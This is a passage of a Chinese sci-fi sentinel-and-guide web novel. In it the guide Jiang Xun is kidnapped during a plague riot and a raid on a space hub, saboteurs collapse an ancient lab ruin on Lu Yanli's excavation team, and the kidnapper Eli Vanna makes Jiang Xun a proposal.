将这个最新的情报汇报上去。 同时， 根据江寻确认， 当初那种中间毒素， 大概率是通过空气或者气溶胶传播， 他们在现场救援时，也更有针对性地做了许多准备。 之后，夏马尔没有犹豫， 立刻将抵达的现场医疗小组分为若干个小队，融入当地护卫军中，开始了紧张的救援工作。 江寻虽然能力出众，但在愈灵殿中并无任何正式身份，夏马尔便为他安排了一位性格稳妥，但向导能力并不算突出的资深向导作为组长，一起行动。 有了他们的支援，岌岌可危的局势顿时缓解不少。 虽然每个小时，都会出现新增的发病患者，不断刺激着封锁区内所有民众的神经。 可亲眼见到现场这么多愈灵殿的高级向导，在悉心地照顾他们，为那些濒临失控的哨兵疏导躁动的精神力，为研发药剂的团队争取着时间，封锁区内的民众，也暂且按捺下了心中的恐慌，尽可能地配合着护卫队的工作。 然而，即使加入了夏马尔组长他们这批生力军，枢纽站的人手仍然不足。 几乎所有进入中度以上症状的哨兵，都会完全陷入那种神志昏聩的状态中无法清醒过来。 这就意味着，这些患者不仅在发病初期需要人力控制。控住他们之后，后续的日常护理工作，也要由现有的这些工作人员来承担。 眼下还算勉强够用的人手，随着发病人数的不断增加，必然会越来越紧张。 此刻，所有人正竭力维持着一种秩序与平衡，使封锁得以继续下去。 但是每个人都清楚，眼前的这种平衡只是暂时的。 所有人都在忙碌中，等待着局势出现转机的那一天。 * 在忙碌的工作中，两天时间倏忽而过。 隔离区中，空气凝重得几乎要拧出水来。来往的人们各个行色匆匆，面色憔悴。仿佛一点点风吹草动，都能令他们紧绷到极致的神经彻底崩断。 从尼克斯组长那边，仍未传来好消息。 来自后方的研究小组，只暂时合成出了一种强效镇静剂，能让那些攻击性最强烈的哨兵患者，在摄入之后短暂陷入昏睡之中。 但这种强效镇静剂对他们本身的病情毫无帮助，甚至会快速提高患者对其他药物的耐受力。长期使用下去，无异于饮鸩止渴。 【夏飞丝，22岁，C级哨兵】 江寻看着同组的盛坚组长，将一台医疗床床头挂着的病例册取了下来，叹口气收入档案袋中，随后沉默地撤下了仍然温热着的被褥。 十分钟之前，躺在这张床上的那位可爱的哨兵小姐，污染状况突然加重。当他闻询赶来的时候已经太迟了。 她的堕化值在几分钟之内如同脱缰的野马，瞬间冲破90%的临界点。 异化的骨骼在短短几十秒中彻底撕碎了她的皮肤，蒙昧的神智陷入永恒的“神游”，彻底失去了作为“人”的支点。 她堕化了，再也无法挽回。 “今天的第七个了……”一位在刚刚抵达枢纽的时候，还曾与这位可爱的哨兵小姐相谈甚欢的女性向导，捂着脸低声呜咽，“她才刚刚与自己的向导一起从圣所毕业，正准备回自己的家乡结合定居……” 江寻轻轻叹了口气，拍了拍她的肩膀。 从今天上午开始，中毒时间最久、污染最深的那一批被束缚隔离起来的哨兵中，就开始陆续出现短时间内堕化值急剧上升的状况。 发病的速度太快了，往往几分钟之内，患者就会彻底堕化，愈灵殿的医师们大部分都来不及赶到。即使赶到了，除了江寻等少数几个实力强大，经验也十分丰富的向导之外，其他人也难以拉回已经开始彻底堕化的哨兵。 这样的情形落在仍被封锁中的人群眼里，恐慌的情绪如同瘟疫一般悄然蔓延开来。 与此同时，人群中潜伏的感染者们，也似乎是感应到了这种即将崩断的信号，开始接二连三地发起病来。 常常是这边一个尖叫狂笑的哨兵还没被控制住，另一边又有人开始失控地攻击身边的人。 整个枢纽中心，连同愈灵殿的医疗小队、后续军部派来的士兵，几乎所有人都投入到维持秩序的行动中。 可事态仍然不可逆转地恶化下去。 江寻从一大早就跟着医疗小组，在这座巨大的枢纽空间中，东奔西走。 就在他刚刚处理完一次发病，勉强将一位正在堕化的哨兵神志拉回来，正准备稍微休息一下时，一道凄厉的呼喊声，从不远处的隔离区中传了出来： “这种病根本无药可救，他们为了控制病毒不传播出去，要把我们全部关死在这里！” 江寻心头一紧，迅速转头环顾周围人群。 果然，那些眼中饱含着惶恐的民众们，先前都还在勉力支撑着。 此时，随着这一声嘶吼，魔盒被打开了。 看不到希望的未来，令这群被自身的恐惧全然支配的人们，彻底失去了理智。 汹涌的人潮，如同决堤的洪水般，咆哮着冲向由护卫与军人以血肉之躯筑成的封锁线。 有权有势的，或者纯粹胆子大的，顶着士兵的枪口，要求登上自己的舰艇离开这里。 胆子小些的，便用拳头或是随手抓起的物品，雨点般地砸向那群守护着防线的护卫们。 怒吼声、哭嚎声、撞击声，夹杂着各式武器的响动，共同汇聚在一起，形成一片巨大的喧嚣。 本就岌岌可危的秩序，在这一刻，被彻底撕破。 “联盟放弃我们了！” “你们知道我是谁吗？放我离开！” “我们根本没被传染，让我们离开！” 混乱的嘶吼与叫喊声越来越大，越来越近。 江寻猛地回头，只看到一片汹涌混乱的人潮，正向着他所在的这片区域冲了过来。 他的身后，就是那些被疾控中心暂时监管，停泊在枢纽中的舰艇。 防护服下的眉头紧紧锁起，他迅速将束缚衣给面前这名已经失去神志的患者穿上，提起他就往旁边转移过去。 这些已经确诊的病患，在眼下的局面里，就是一个个随时会失控的“炸弹”，一旦让他们接触到人群，将那种未知的毒素传染给现在失控的人群，势必会让局面推向无法挽回的境地。 与此同时，江寻将自己剩余的精神力全部释放了出去，笼罩向面前这帮情绪激动的人们，以精神力传递出安抚的信号，竭力压制着这群失去理智，向封锁线冲击的民众。 连日来的高强度工作，再加上此刻的全力以赴带来的巨大消耗，让他久违地感到了吃力，精神脉络中开始出现枯竭感，呼吸也变得粗重起来。 就在这混乱渐起的关键时刻，突然—— 呜呜呜——！ 一道尖锐刺耳的警报声，在整个空间枢纽的上空炸响，瞬间盖过了场中所有的喧哗，连那群失控的民众都不由得缓下了脚步。 “……是入侵警报？！” “救命！放我离开！” 随着枢纽站各处的警报红灯疯狂闪烁起来，民众们瞬间反应了过来，更加恐慌的情绪如无可抵挡的潮水般，淹没了整个枢纽站。 江寻猛地扭头向着枢纽站外部望去。 一片漆黑的太空中，数艘武装舰艇正从遥远的跃迁点突破封锁线冲进来，目标明确地朝着枢纽站直扑而来。 “敌袭！” “未经识别的鹞级舰船！十一艘！快呼叫军部救援！” “保护平民，快去启动对外防御系统！” 护卫队此刻再也顾不上内部骚乱的人群，一边高声呼喊着，一边快速冲向各自的守备位置。 可此时尖叫着像无头苍蝇般四处狂奔的人群，根本没给他们留下行动的空间。 “轰——！” 爆炸的轰鸣声袭来，整个枢纽站猛地晃动了一下。 人群被更加疯狂的恐慌彻底吞噬。 内忧外患，仿佛约定好了一般同时袭来，整个枢纽站，在这一刻彻底陷入了混乱的漩涡里。 江寻只觉得一阵强烈的眩晕感袭来，心中暗暗叫糟。 透支精神力的后遗症，偏偏在此刻完全爆发出来。一时之间，他眼前发黑，身形摇晃，脚步虚浮，差点一个没站稳原地栽倒下去。 就在这虚弱忽显的瞬间，突然，一股极其尖锐的高频干扰波，从跑过江寻面前的人群阴影中猛地刺入他的精神海！ “呃——！” 江寻闷哼一声，大脑传来一阵剧烈的刺痛，体内已经枯竭的精神海剧烈震荡，正常的能量循环瞬间溃散开来，再也调动不起一丝精神力。 意识随着精神力的枯竭混沌下来，连思维都变得迟缓，如同陷入泥沼。 视野渐渐暗沉，江寻无力地向后踉跄两步，靠着旁边的医疗舱壁软软滑倒。在彻底失去意识之前，他的目光忽然与一双毫无感情的冰冷眸子对上。 紧接着，几道迅捷的身影从身旁经过的混乱人流中悄然靠近，江寻只觉手腕一紧，被一股大力死死钳住，随即，颈侧传来一下轻微的刺痛。 意识彻底跌入黑暗，身体软倒了下去。 那几道身影轻轻接住江寻，迅速给他盖上一张毛毯，搀扶起他，如同照顾着自己生病的家人一般，再次汇入混乱的人潮，彻底消失了踪影。 枢纽站一处隐蔽的通道口，空气中一阵隐秘波动，显露出藏在光学隐形布下的一艘小型飞船。 趁着整个枢纽站乱成一团的绝佳时机，它悄无声息地燃起引擎，从入侵的武装舰队相反的方向，一跃脱离港区。 引擎瞬间提升到最高功率，划出一道幽蓝尾焰，跃迁通道开启。 一个迅猛的加速，飞船没入那道不大的通道口，彻底消失在茫茫太空中。 半小时后，来袭的舰队忽然收缩阵型，加速撤退而去。又五分钟，军部的增援舰队终于突破所有干扰，抵达枢纽站。 然而此时，参与袭击的所有舰艇早已穿过跃迁通道，不知所踪。 待抵达的陆军战士彻底控制住枢纽站内部的暴乱，在一片狼藉之中，夏马尔组长面色煞白地组织人手展开紧急救援，这才发现，这里少了一个人的身影。 “江寻呢？！”他的声音里带着难以置信的惊怒，“你们谁看到江寻向导了？” 然而，回应他的，只有枢纽站中尚未平息的哭喊声，以及众人茫然回望的目光。 江寻，在众目睽睽之下，失踪了。 * 另一头，M28星系，HD-86号行星。 半废弃的矿星，已经没有什么人迹，黄色风沙漫卷，吹出一片萧瑟。 遗迹入口处，被前期抵达的工程人员围出一个简易防护带。地表也已被清理干净，只等陆厌离小队的到来。 一番交接后，陆厌离接过数据板，上面正显示着第一批勘探人员绘制出的地表层结构图。 他细细审视着图纸，与面前的实际地貌一一对应起来。 这个入口便是发现遗迹的任务小队曾经走过的那条路线。 按照图纸上标示出的结构图来推测，这一整座实验室遗迹，面积非常大。所有结构都深埋在地下，一共也不知有多少层。 第一层损坏程度比较轻，有不少空隙存在。前期工程人员正是利用这些空隙，派出探索机器人深入，绘制出了陆厌离手上这张结构图。 “先按图索骥，优先回收结构图上已标记出的资料存放点。”陆厌离将数据板上的结构图发送到小组信息频道里，按上耳麦，对散开的队员们下令，“优格，你不用参与资料回收，你的任务是分析出下一层的结构，确定挖掘方案。” 一令既出，小队成员们迅速行动起来。 一边清理着第一层坍塌的建筑结构，一边搜索，进行着资料回收工作。 而优格，作为随队的资深探掘工，一边观察着已经探明的建筑结构，一边分析着下一层的具体布局与通道所在。 没过多久，优格就有了发现。 “报告长官！有发现。” 陆厌离一看是优格，立刻走了过去。 “长官，您看，这里应该就是通往地下的常规通道。”优格对照着结构图，在面前一片正被清理出来的废墟中比划着，“这里原本应该是一个电梯井，但是已经在多年的荒废中，被上面塌陷下去的土石彻底堵死了。” 陆厌离看着他比划出的方位，皱了皱眉。 “不过，电梯井旁边还有一个人工楼梯，应该是过去的应急逃生通道。”优格指了指紧挨着的一块区域，那里已经能看出明显的楼梯结构。 “我检查过了，他们建筑楼梯用的材料非常好，应该能承受得住相当大的质量，这些楼梯支撑起了结构，虽然最上层被掩埋了，但下面几层，很可能还存在通道空隙。” 优格一边说着，一边点出几个具体位置，“从这里、还有这里向下打探孔，应该就能看清下面的具体情况了。如果这里的楼梯结构依然完好的话，从这里开始逐层向内部清理，是保存资料最稳妥的方案。” 陆厌离听到这里，神色稍缓，点头批准：“就按照你设计的方案，先打探孔确认情况。如果没问题，就从这里开始挖掘。” 优格应声离场。 陆厌离环视一圈，将队员们的身影收入眼底，目光在远处四处闲逛的林莫身上停留了片刻。 这位在任务前不请自来的向导，大部分的时间里，只是安静地跟在队伍后面，偶尔用终端记录着什么。并没有表现出什么异常，可陆厌离心中的警惕丝毫未减，始终留意着他的动向。 两天的时间，就这样在紧张而有序的探掘中过去。 陆厌离没有冒进，按部就班地带领队员一层层发掘下去。 到现在为止，遗迹的前三层都已经被基本清理完毕。回收到了不少带有星历初年标识的零散资料与电子设备。据随队而来的金博士确认，这与前期情报相符，此处的确曾是一所研究向导精神力的实验室。 而且，如果没猜错的话，当时应该已经取得了一些相关成果。那些电子设备中，有很多都存储着当时的一些实验数据，这些数据与资料，都是对联盟来说极为重要的研究材料。 然而，当他们将目光转向地下四层的时候，挖掘工作终于遇到了阻碍。 “长官，这一层下面的结构异常坚固，似乎是被岩石堵住，又在地质变迁中完全岩化了。”优格甩开钻孔机，看了眼几乎没什么变化的钻孔位置，又皱起眉，观察一下四周，“相邻的这片区域，应该是一条走廊，但是这里的支撑结构比较脆弱，如果强行钻孔的话，可能会有一定的坍塌风险。” 优格指了指他脚下的位置。 陆厌离还没有说话，一直跟在两人身边的金浩载博士，闻言立刻摇起头来：“不行！一般来说，越往下，就越接近研究所的核心层，这里可能存放着极其珍贵的研究资料，我们不能冒险！” 陆厌离点了点头，没有多说，当即带着人在周围仔细搜寻起来。 经过一番探索搜寻，他们终于在一处相对完好的墙壁后方，发现了一扇巨大的金属合金闸门。 这道闸门历经三百年风霜，依然严丝合缝地矗立着，无法开启。但或许是由于上方坍塌下来重物的压力，天长日久之下，其右下角与门框的接合处，发生了一些轻微的变形，交错出一道狭小黑暗的空隙来。 陆厌离蹲下身，用探照灯向内照去。 内部一片黑暗，但能看得到很大的空间，与一些散落在地面上的纸页和金属碎片。 “里面看起来保存得还算完好。”他站起身来，略一思索，便迅速做出了决定：“我带一个小队进去探查。李铭，卡瑞娜，你们两个的拟化形态最小，跟我一起进去。剩下的其他人，听塞西尔的指令，保持警戒，随时准备支援。” “是！”众人齐声应声。 被点到名字的两名队员立刻出列，精神力一阵波动后，分别化为一只岩鼠与一只影蜥。 陆厌离拍了拍副官塞西尔的肩膀，借着递给他外套的机会，凑近他耳边，以仅有两人能听到的音量低语：“盯紧林莫，待会儿如果他有任何异动，立刻动手控制住他，不要留情。” 塞西尔眼神一凛，目光不着痕迹地从站在队伍末尾的林莫身上扫过，轻轻点了下头：“明白！” 陆厌离不再犹豫，俯下身子，在一阵剧烈的精神力波动中，化为一只毛发蓬松的灰色猫咪。 叼起战术腰带，披挂在身上，最后看了面前众位队员一眼，随即转身，灵巧地钻入了那道狭窄的合金缝隙之中。 众人只看到缝隙中一道灯光亮起，随即，伴随着几道轻微的脚步声，三人的身影迅速消失在闸门后的黑暗之中。《 》 230-235 第231章 第 231 章 江寻在一阵剧烈的头痛…… 闸门之后， 空间又广大起来。 三人重新恢复人形，陆厌离打头，李铭与卡瑞娜分置左右， 一边借助着探照灯照明，一边在扭曲的金属缝隙与坍塌下来的残垣断壁之间小心穿行着。 尘封已久的空间，被百年后的来者重新启封，那些沉睡于此的悲欢离合与殚精竭虑， 都化作了久远的故事， 只留下那照亮了一代人前进道路的珍贵知识。 在充斥着金属锈蚀气息与尘土味道的窒闷空气中， 三人一边探索着前行，一边通过身上携带的微型摄像头， 将这里的实时画面传回外面塞西尔停驻的临时指挥点。 “发现一处疑似资料存放点，但是这里结构不稳定，先记录下来。”陆厌离用探照灯在左手边一个坍塌了一半的房间里照了一圈， 通过耳麦下达命令。 【收到， 已记录。】优格应声，在飞速扩大的结构图上标示出了刚才那个房间的位置。 【长官，按照现在的已经探查出来的房间分布， 主控室应该在您前方第三个弯道处。】 “收到。”陆厌离点点耳麦， 不在其他的房间中流连， 带着身边的两个队员向着前方穿越过去。 经过一番颇为艰难的前进， 期间三人又完全拟化了一次， 以通过一处被突入走廊的岩石整个堵住的通道口。 越过优格口中所说的那个弯道， 终于进入一片相对完整的区域。 陆厌离将照明范围开到最大， 看向面前这片空间。 这处房间看起来整体呈圆形，四周的墙壁上嵌着不少已经损坏了的屏幕，正对着他们的房间中央处， 则是一个呈扇形的控制台。一把椅子翻倒在地面上，整个房间中都积满了厚厚的灰尘。 “发现主控室。”陆厌离点了点耳麦，而后便迈步上前，仔细看向前方那个扇形的控制台。 李铭与卡瑞娜也左右分散开来，快速检查着主控室中的情况。 卡瑞娜查看一番墙上碎裂的屏幕，与靠着右面墙角的一排已经瘪下去的设备，摇了摇头。 李铭却没有去管那些设备，而是查看起后面连接的线路来。顺着线路一路查看到中央的扇形控制台上，又伸手抹开了控制台上的灰尘，露出下面相对完好的控制界面。 “将军，这台控制器结构保存度很高，线路也完整，可能仍然能使用。可以接入能源，尝试启动一下主控系统。” 李铭仔细检查半天后，兴奋地回头，对陆厌离说道。 “会不会因此损伤到实验室内部储存的数据资料？”陆厌离确认道。 “将军，这台控制器应该是主控安保系统的，对实验设备没有什么影响。”李铭再次查看了一下控制台后面的线路走向，确定道。 “好，批准。卡瑞娜，协助李铭重启主控台。”陆厌离果断下令，同时，连通耳麦下令，“塞西尔，我们要尝试重启主控系统，派人清理出我们刚才进来的那个闸门上的滑轨，等下我会尝试从主控台开启闸门。” 【明白！】塞西尔回复。 “同时保持警戒，如发现主控系统的开启，致使外部空间出现坍塌迹象，立即汇报。”陆厌离补充道。 【是！将军！】 主控室内，李铭迅速卸下战术腰带上携带的便携式能量包，一番查看之后，从控制台后边找到了能源接口，开始连接线路。 卡瑞娜则一边给他照明，一边清理着控制台附近散落的土石碎屑。 外部闸门边，塞西尔指挥着剩余的队员把闸门边挡住滑轨的障碍物清理出去，一边紧盯着陆厌离那边实时传送过来的监控画面，一边用眼角的余光留意着始终安安静静站在队伍最后的林莫。 似是察觉到了他的视线，林莫一转头，直视过来，对着塞西尔微微一笑。 塞西尔面色微变，收回目光。 就在众人清理出滑轨的当口，主控室内，李铭已经完成了能源连接，站在主控台前看向陆厌离：“将军，能源已成功连接。” “好，尝试启动。”陆厌离上前一步，站在主控台旁边。 “是！”李铭闻令，一掌按在启动按钮上。 下一刻，只听一阵嗡鸣声响起，主控台台面微微震动，台面上的指示灯次第亮起，在一阵闪烁之后，天花板上尚且完好的两只顶灯倏然大亮。 主控台被成功开启！ 外间的实时屏幕上，也显示出了一瞬大亮的主控室。 “将军，成功……”李铭兴奋抬头看向陆厌离。 然而，就在这所有人的注意力都被吸引的一刹那！ 外部闸门边，一直跟在众人身后的林莫动了。 可他没有任何攻击的举动，而是以极快的速度将手伸进口袋里，按下一个未知装置上的按钮！ 下一秒，放在李铭腰包中的一枚不起眼的小小金属饰品突然震动起来。猛地从中爆发出一阵强度极高的混乱干扰波。伴随着这道干扰波的，还有一声尖锐刺耳，如玻璃刮擦在黑板上一般的高频尖啸。 强烈的干扰波甚至在空气中形成一圈肉眼可见的冲击波环，以李铭为中心，狂暴炸裂开来。 “呃啊——！” 离他最近的卡瑞娜如被雷击，一声尖叫后抱着脑袋挣扎着倒了下去。 陆厌离在突变骤起的刹那脚下一蹬向后退去，可密闭的空间为这道攻击波加了码，强烈的精神尖啸被无限放大，回荡在封闭的空间里。陆厌离脑中嗡的一声，意识出现短暂的空白，当即闷哼一声单膝跪了下来。 首当其冲的李铭受到的影响更加剧烈。他只觉瞬间如被重锤击中大脑，眼前一阵发红，眼珠上的毛细血管充血爆裂，强烈的精神刺激，令他瞬间失力，向前倒了下去。 而他倒下的方向，正是刚刚接通能源重新启动的主控台。 随着他的上身不受控制地压下，主控台上数个按钮被同时按了下去。 “嗡——！” 一条未知的命令被启动，主控台发出一阵“滴滴滴”的警报声响后，房间两边的墙壁上猛地传来一阵沉闷而剧烈的金属摩擦声。 不知什么装置被启动了，可它显然启动得并不顺畅。 金属摩擦声很快变成一阵尖锐的爆鸣，似乎是金属被巨力强行扭曲的吱呀声响。紧接着，这声响越来越尖锐，直至在一声“哐当”巨响之后猛然停止。 随即，一阵尖锐刺耳的泄压声传来，仿佛某种巨大的机械结构被毁坏后，正在濒临崩溃！ “撤退！”陆厌离最先从这道强烈的精神冲击中恢复过来，面色冷厉地看向发出异象的墙壁，马上下令。 稍微缓过神来的卡瑞娜，顾不上其他，当即丢下身上的负重，踉跄起身，顺着他们来时的路线向外奔去。 陆厌离一手揽上因为直面最剧烈的一波精神冲击，已然开始七窍流血的李铭，一矮身，同样向着来路飞速撤退。 外部的临时指挥点中，透过耳麦传过来的尖锐啸音，同样刺得所有人耳中一片嗡鸣。塞西尔死死盯着实时监控中骤变的情势，猛地转头看向队伍最后。正好看到林莫悄然后退的身影。 他瞬间明白了一切，指向林莫怒吼道：“抓住他！” 话音未落，已然拟化了双腿，猎豹般的双腿，在地上用力一蹬，纵身直取林莫！ 离林莫最近的两名队员，看到他的动向也瞬间反应过来，毫不犹豫一左一右跟上塞西尔，呈三角阵型围了上去。 骤变的情势与耳中的嗡鸣，令场面一时有些混乱，塞西尔的怒吼，更是将所有人的目光引向了后方的林莫身上。 就在这兔起鹘落之间，一直站在另一边角落里，有些沉迷地抱着数据板，不断回收资料数据的金浩载博士，眼神骤然变化。 在所有人都没有注意到的时候，他身上那种有些拘谨的内向气质瞬间褪去，化为一种冰冷的讥诮。 他的眼神一厉，趁着这个空隙，迅速从怀中掏出一个伪装成便携式地质分析仪的装置，猛地弯腰，“咔嚓”一声将它按入脚下布满锈迹的金属地板缝隙之中，狠狠在装置顶部显眼的按钮上一拍。 下一秒，装置上下两面发出一声轻微的簌簌声，数十个强磁探针飞射而出，扎入周围的地板中，牢牢固定住。 确定装置已经顺利启动，金浩载丝毫没有犹豫，转身就向外奔去。 此时，他奇怪的举动终于引起了其他人的注意。 塞西尔的目光钉在地上那个疯狂闪烁着红光的未知装置上，面露惊骇。 可再去阻止已经来不及了。 在所有人都没有注意到的时候，一种极具穿透力的高频震动波，以那个未知装置为起始点，向着四面八方发射出去。 一种让人毛骨悚然的低沉嗡鸣声，从所有人脚下传来，地面微微震动起来。覆在地面上的一层尘埃，在这股从轻微慢慢变得剧烈的震动中，被弹上空中，烟尘弥漫。 “什么……地震？”大部分队员根本没有意识到发生了什么，惊疑不定地四下张望。 “咔嚓——！” 不知哪里传来一声清晰的金属断裂声。 塞西尔目眦欲裂，大吼一声：“逃！” 可一切已经太迟了。 扣在地面上的震荡器再次发出一道更强的高频振动波，古老而脆弱的遗迹当即对它有了回应。 “咔嚓擦——嘣啪——！” 一连串金属扭曲断裂声传来。 他们所在的第四层地板发出一声不堪重负的呻吟，数道巨大的裂缝以震荡器为中心猛地向四面炸开，如同蛛网般瞬间蔓延到众人脚下。 而这，仅仅是个开始。 下一秒，墙壁开裂，金属撕裂的巨大吱呀声中，下方承受的压力更大，在无尽的岁月中腐蚀得更为厉害的第五层、第六层……直到众人目之所及的尽头处，在一连串震耳欲聋的金属断裂与扭曲声中，层层崩裂，塌陷下去！ “这里要塌了！打开屏障，抓住支点！” 最后一声警告之后，滔天轰鸣声响起。 众人脚下的地板完全撕裂开来，周围的墙壁、杂物、土石岩板，也在失去支撑之后，轰鸣着向下坠落而去。 巨大的失重感传来，陆厌离只来得及大喊一声，将手中失去意识的李铭向着上方丢去，便彻底被砸落的各种碎片、管道、岩石，完全遮住了视野。随着这些东西，一起向着下方深不见底的空洞中急速坠落下去。 从上方的空洞里灌进来的呼啸狂风，将陆厌离裹挟在内。一时之间，耳边都是“噼里啪啦”各种碎物与土石砸落的声音。其中还混杂着几声遥远的尖叫，似乎是从塞西尔那边传来的，但陆厌离已经看不清了。 长年累月的出生入死带来的经验，令陆厌离的头脑在这种关键时刻，反而格外清醒。 他几乎是在瞬间便压下了刚才的精神冲击带给他的负面影响，本能地在空中就完成了拟态。 整个身体中燃起灰黑焰流，爆燃开来，随即一只巨大的烟灰巨狮从焰流中一跃而出。 形态变大之后，身体素质也在瞬间翻番。刚才砸在身上撞得生疼的石头，此时打在灰狮身上，马上就被厚重的皮毛卸了力，再被遒劲的肌肉弹出去。 巨狮在空中翻转身形，眼尖的看到身边落下的庞大金属板，一蹬借力，随后不断踩着落下的巨石重物向上腾跃，令自己不至于被坍塌下来的废墟压在最下面。 可即便他的反应已经很快，从高处摔落下来的巨大冲击力，与砸落下来的重物还是让他结结实实地吃了苦头。 左前肢在一次借力时被侧面突出的岩石狠狠刮擦而过，传来一阵尖锐的闷痛，肋骨处也火辣辣的，不知被什么东西撞了一下。巨狮发出一声压抑的闷吼，随即，声音被完全淹没在坍塌的轰鸣声中。 不知过了多久，连锁的坍塌终于渐渐停歇下来。 伴随着最后一阵哗啦啦的倾泻声，陆厌离终于重重摔落在了最底层地面上。 落地前，他奋力向前一跃，翻滚一圈试图强行卸力，可巨大的冲击力仍让他眼前一黑。 紧接着，上方最后坠落下来的乱七八糟金属构件，与大量的碎石土块，便将他彻底埋在了下面。 沉重的压力从四面八方挤压而来，在这样的情况下，陆厌离还不忘撑起四肢，尽量为自己留出较大一片空间，以更多地保留空气。 光线完全消失之后，呼吸瞬间变得艰涩，腾起的灰尘糊住口鼻，窒息感如陷入湖水般蔓延而上。 陆厌离深知此刻是关键时刻，顾不上去查看身上的其他伤势，马上忍下疼痛，深吸一口气，集中起自己全部的力量，用雄狮强壮的肩膀与脊背猛地向上顶起。 压在背上的重物发出一阵让人牙酸的摩擦声，外部有“叮铃哐啷”的撞击声响起，头顶上的障碍物却一动不动。 陆厌离没有气馁，调整一下方向，再次深吸一口气，使劲向上顶撞而去。 腿上肌肉在烟灰色的皮毛下如流水般鼓动，而后贲张隆起。之前被刮擦到的地方传来钻心的疼痛，腥甜的黏腻液体在用力时迸射而出，可此时，他完全顾不上这些，只是凭借着意志力，一点点地使力向上，试图撑开一个出口。 气力用尽之前，终于看到一线黯淡的光线从缝隙里漏了进来。 陆厌离心中振奋，猛然踏地昂头一顶，终于从头顶侧面，顶开一个拳头大小的空洞来。 一阵哗啦啦的响声过后，尘埃漫天，但总算是呼吸顺畅了。 陆厌离顾不得其他，迫不及待地深深吸了几口新鲜空气。 缓解了一下缺氧带来的脑部刺痛，他这才再次鼓足了力气，用爪子扒着出口的碎石，配合着身躯的扭动，将出口扩大开来。 不知努力了多久，终于推开面前最后一块沉重的金属板，拖着受伤的身体，从那堆坠落下来的废墟中爬了出来。 略带踉跄地走下地面，余光看到自己似乎是坠落在了一条十分宽敞的回廊里。脚下，仍然是属于研究所的金属地面。 未及细看，陆厌离身周精神力一动，恢复人身，就想先去寻找刚才一起落下的队员们。 就在这时，一片柔和白光忽然驱散所有黑暗，在他身边猛地亮起。 乍见又生变化，陆厌离双眼一凛，回首在后颈上一按。专用战斗服瞬间在身上延展开来。眯眼蹲身，用警戒的姿态看向四周。 可等那阵突如其来的白光散去后，眼前的景象，却令他瞬间僵在原地。 重新出现在他眼前的，不是预想中的遗迹废墟，也不是什么全副武装的敌人，而是一个……富丽堂皇的明亮大厅。 光可鉴人一尘不染的地砖，墙壁上挂着的色彩稠丽的古典油画，穹顶上垂吊下来的豪华水晶灯，精致考究，用料扎实的宫廷款家具。 重要的是，这幅场景，虽然许久没有见过，却仍熟悉得让他心脏骤然紧缩。 怎么会…… 还没等他从错愕中醒转过来，一道温暖熟悉，却已经在记忆中蒙上厚重尘埃的声音，从他的身后响了起来： “瞧瞧，这是谁家不听话的小猫，把自己搞得这么狼狈？” * 江寻在一阵剧烈的头痛中醒转过来。 意识回笼的瞬间，入眼却是一间从未见过的奢华房间。 身下的大床异常柔软而宽阔，滑过皮肤的是冰凉柔顺的真丝床单。暗色的床幔覆在头顶，被雕刻着繁复花纹的床柱支起。 他环视一圈，身边无人，身侧就是一扇巨大的窗户，但此刻，所有的阳光却被厚重的窗帘遮挡了起来。 室内面积极大，从装修风格到陈设摆件，处处都写着昂贵与精致，可看在他眼睛里，却觉得毫无人气，每一寸空气里似乎都飘荡着一股精心设计出来的虚假感。 江寻按着脑袋半坐起来，恰在此时，大床前方的雕花大门背后，传来一阵缓慢而规律的脚步声。 这片刻的工夫，已经足够江寻想起昏迷之前的事情。 毫无疑问，他被绑架了。 只不过，看他如今的处境，绑架者应该另有目的。 江寻深吸一口气，严阵以待。如果他所料不错，现在门外那人，应该就是绑架者了。 在他审视的目光中，门上的把手被拧动一圈，两扇沉重门扉无声滑开。 一个背光的高大人影出现在门后。 那人似乎知道江寻清醒过来的时间，对他投射过来的视线毫无惊讶。 随着人影一步步走进，一张熟悉的面孔出现在江寻面前。 “伊莱·凡纳。” 江寻沉声叫出他的名字。 伊莱勾唇一笑，慢慢走到床边的沙发上坐下，这才慢悠悠地回应：“是我，你醒了。” 江寻眯眼打量着面前的人。 前几次自己与他相见时，不管是在圣所之中，还是在其他的场合里，对方始终一身规整正装，无时无刻维持着那副独属于凡纳家继承人的矜贵风度。 可此时的他，却是一身宽松的家居服饰，上身一件普普通通的白色衬衫，下身一条深色长裤。甚至衬衫的扣子都没全部系上，穿得松松垮垮，头发也蓬松柔软，没有经过专门打理。 这幅样子，丝毫不像幕后黑手来见被害人，反而像是刚刚睡醒从床上起来，来见自家好友。 江寻心中不由一沉。 对方这幅模样，已经说明了很多问题。看来，这个地方完全在他的掌控之内，他在这里，毫无顾忌。 “感觉如何？听说你之前两天一直在使用精神力，精神已经有些匮乏了？”伊莱的声音里丝毫听不出一点儿得意或愧疚，似乎只是作为江寻的朋友关心一句。 江寻没有回答，只是坐直身子，冷冷地看向他。 对上江寻的冷眼，他反而微微一笑：“若非如此，那种程度的精神干扰，想必也不会让你一下子失去反抗之力。” “不过，我想，那点后遗症，应该已经消退了？”伊莱的面色平静下来，身体微微前倾，双手交叠着放在膝盖上，“江寻，我想，现在你可以和我好好聊聊了吧？” 第232章 “即使我拒绝也没有用， 不是吗？”江寻直视着伊莱，略带着些讥诮。 伊莱没在意对方的针对，微微一笑。只是再开口时， 语气已经是前所未有的认真： “江寻，很抱歉，因为我之前的傲慢，慢了陆厌离一步， 让我们如今只能以这种方式进行对话。但请相信我的诚意， 我对你的每一次邀约都是发自真心的。” 伊莱直视着江寻说道：“不可否认， 一开始吸引到我的，的确是你的高等级与和我的高匹配度。但是， 从你踏上‘寻道者’之路的时候，我就开始真正的欣赏你了。即使在天才云集的联盟之中，你也是最优秀的那一个， 我们两人是一样的， 我们本应是天生的同盟。” 他目光灼灼地看向江寻：“我们与其他那些庸人都是不一样的，只有我们能够真正理解彼此！我们合该携手站上最高点，难道你不想亲眼看看顶峰的风景吗？这些东西， 只要和我联手， 都唾手可得！” 伊莱张开手臂：“我和凡纳家能提供给你的， 远非陆家可比。权势、资源、知识、人脉， 只要你想， 我都可以帮助你得到。这些东西， 只有我才能给你。甚至， 如果你真的不愿意的话，在我们亲密时，我也不是不能处于下位……” 伊莱站起身来， 慢慢走到江寻床边坐下，微微俯身靠近：“如果我们结合，我可以向你保证，会给予你最大的尊重，我的伴侣永远都只会有你一个，任何人都不能越过你。” 见江寻还是不为所动的模样，他停顿了一下，似乎是在考虑过后做出了一个巨大的让步：“我甚至可以允许你继续与陆厌离保持固定的疏导关系，让他继续做你的固定哨兵之一——只要你们两个不完全绑定。” 